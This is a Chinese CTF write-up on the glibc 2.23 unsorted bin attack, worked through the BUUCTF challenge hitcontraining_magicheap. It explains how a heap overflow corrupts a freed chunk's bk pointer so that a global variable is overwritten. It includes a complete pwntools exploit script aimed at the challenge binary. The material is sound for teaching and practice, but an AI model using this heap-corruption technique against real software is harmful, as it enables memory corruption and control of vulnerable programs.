知识点

glibc2.23

我们知道当一个chunk大于0x80时,再free掉的时候会进入unsorted_bin (先进先出),这时如果我们通过堆溢出等手段改变这个chunk的bk指针,这样再申请这样的堆块,就可以达到把bk指针的值造成改变

好好说话之Unsorted Bin Attack_unsortedbin attack-CSDN博客

这个师傅的图讲这里很清晰,这里借用一下

a500a9212e457f5cba3eb4d57b7f462a

这是unsortedbin将一个堆块挂入时发生的变化

2c4998096039ec7a26e388686c67fbdc

这是,我们改变chunk_400的bk指针后再申请堆快回来

ee630272364d363097ee989b96b9e9ea

可以看到我们可以再target处改写一个字节大小的值

例题:buu hitcontraining_magicheap

image-20241024212502731

保护

image-20241024212450367

这里其实有个后门,就是magic地址的>4869时,会进入后门

image-20241024212630008

所以这题的思路很清晰了,就是要改变magic的值

怎么改变呢,这里要利用之这里堆溢出和unsorted bin 结构

image-20241024212942939

经典编辑函数时字节溢出漏洞

我们进入动态调试

先创建3个堆快,再free掉第二个

1
2
3
4
5
CreateHeap(0x30,'aaaa')
CreateHeap(0x80,'bbbb')
CreateHeap(0x10,'cccc')

DeleteHeap(1)

因为我们要用unsorted bin所以第二个堆快的大小为0x80

image-20241024213251863

image-20241024213320173

接着我们利用堆溢出改变第二堆快的bk指针

1
2
magic = 0x6020A0
EditHeap(0,0x50,b"a"*0x30 + p64(0)+p64(0x91)+p64(0)+p64(magic-0x10))

image-20241024213417898

image-20241024213432580

先看目的magic地址

image-20241024213536779

现在都是0

再创建完堆快之后

image-20241024213611838

因为我们在申请了一个堆快,因为unsorted bin的指针呗改成的magic-0x10,所以我们申请的堆快在magic-0x10处,而magic被改写成了unsort bin原来的地址

这个值远远大一4869,所以我们只要按照题目要求输入4869就可以进入bookdoor了

exp

[BUUCTF]PWN——hitcontraining_magicheap-CSDN博客

脚本来源

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *
context(log_level='debug')
p = process('./pwn')
#p=remote('node5.buuoj.cn',26923)

def CreateHeap(size,content):
p.recvuntil(':')
p.sendline('1')
p.recvuntil(':')
p.sendline(str(size))
p.recvuntil(':')
p.sendline(content)

def EditHeap(idx,size,content):
p.recvuntil(':')
p.sendline('2')
p.recvuntil(':')
p.sendline(str(idx))
p.recvuntil(':')
p.sendline(str(size))
p.recvuntil(':')
p.sendline(content)

def DeleteHeap(idx):
p.recvuntil(':')
p.sendline('3')
p.recvuntil(':')
p.sendline(str(idx))

CreateHeap(0x30,'aaaa')
CreateHeap(0x80,'bbbb')
CreateHeap(0x10,'cccc')

DeleteHeap(1)
gdb.attach(p)
pause()
magic = 0x6020A0
EditHeap(0,0x50,b"a"*0x30 + p64(0)+p64(0x91)+p64(0)+p64(magic-0x10))

CreateHeap(0x80,'dddd')


p.sendlineafter(':','4869')
p.interactive()